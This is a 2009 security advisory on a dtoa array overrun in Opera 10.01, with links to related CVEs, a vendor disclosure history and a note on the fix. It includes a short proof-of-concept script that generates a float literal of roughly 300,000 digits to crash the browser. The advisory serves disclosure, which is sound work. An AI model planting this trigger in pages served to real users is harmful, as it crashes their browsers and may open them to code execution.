- --- 0.Description ---

Opera is a Web browser and Internet suite developed by the Opera Software 
company. The browser handles common Internet-related tasks such as displaying 
Web sites, sending and receiving e-mail messages, managing contacts, IRC online 
chatting, downloading files via BitTorrent, and reading Web feeds. Opera is 
offered free of charge for personal computers and mobile phones.





- --- 1. Opera 10.01 Remote Array Overrun (Arbitrary code execution) ---

The main problem exist in dtoa implementation. Opera has a very similar dtoa 
algorithm to the BSD, Chrome and Mozilla products. It is the same issue like 
SREASONRES:20090625.



http://securityreason.com/achievement_securityalert/63



but fix for SREASONRES:20090625, used by openbsd was not good. 

More information about fix for openbsd and similars SREASONRES:20091030, 



http://securityreason.com/achievement_securityalert/69



We can create any number of float, which will overwrite the memory. In Kmax has 
defined 15. Functions in dtoa, don't checks Kmax limit, and it is possible to 
call 16<= elements of freelist array.





- --- 2. Proof of Concept  (PoC) ---



- -----------------------

<script>

var a=0.<?php echo str_repeat("9",299999); ?>;

</script>

- -----------------------



If we use Opera to see this PoC, Opera will crash. For example



- -----------------------

<script>

var a=0.<?php echo str_repeat("1",296450); ?>;

</script>

- --- 3. SecurityReason Note ---



Officialy SREASONRES:20090625 has been detected in:

- - OpenBSD

- - NetBSD

- - FreeBSD

- - MacOSX

- - Google Chrome

- - Mozilla Firefox

- - Mozilla Seamonkey

- - KDE (example: konqueror)

- - Opera

- - K-Meleon



This list is not yet closed. US-CERT declared that will inform all vendors 
about this issue, however, they did not do it. Even greater confusion caused 
new CVE number "CVE-2009-1563". Secunia has informed that this vulnerability 
was only detected in Mozilla Firefox, but nobody was aware that the problem 
affects other products like ( KDE, Chrome ) and it is based on "CVE-2009-0689". 
After some time Mozilla Foundation Security Advisory

("http://www.mozilla.org/security/announce/2009/mfsa2009-59.html";)

was updated with note :

"The underlying flaw in the dtoa routines used by Mozilla appears to be 
essentially the same as that reported against the libc gdtoa routine by 
Maksymilian Arciemowicz ( CVE-2009-0689)".

This fact ( new CVE number for Firefox Vulnerability )and PoC in javascript 
(from Secunia), forced us to official notification all other vendors. We 
publish all the individual advisories, to formally show all vulnerable software 
and to avoid wrong CVE number. We do not see any other way to fix this issue in 
all products.





- --- 4. Fix ---

Opera fix:

The vulnerability was fixed in the latest release candidate Opera RC3 : 
http://snapshot.opera.com/windows/Opera_1010_1890_in.exe

In shortly time we can expect the final verion of Opera with the fix.
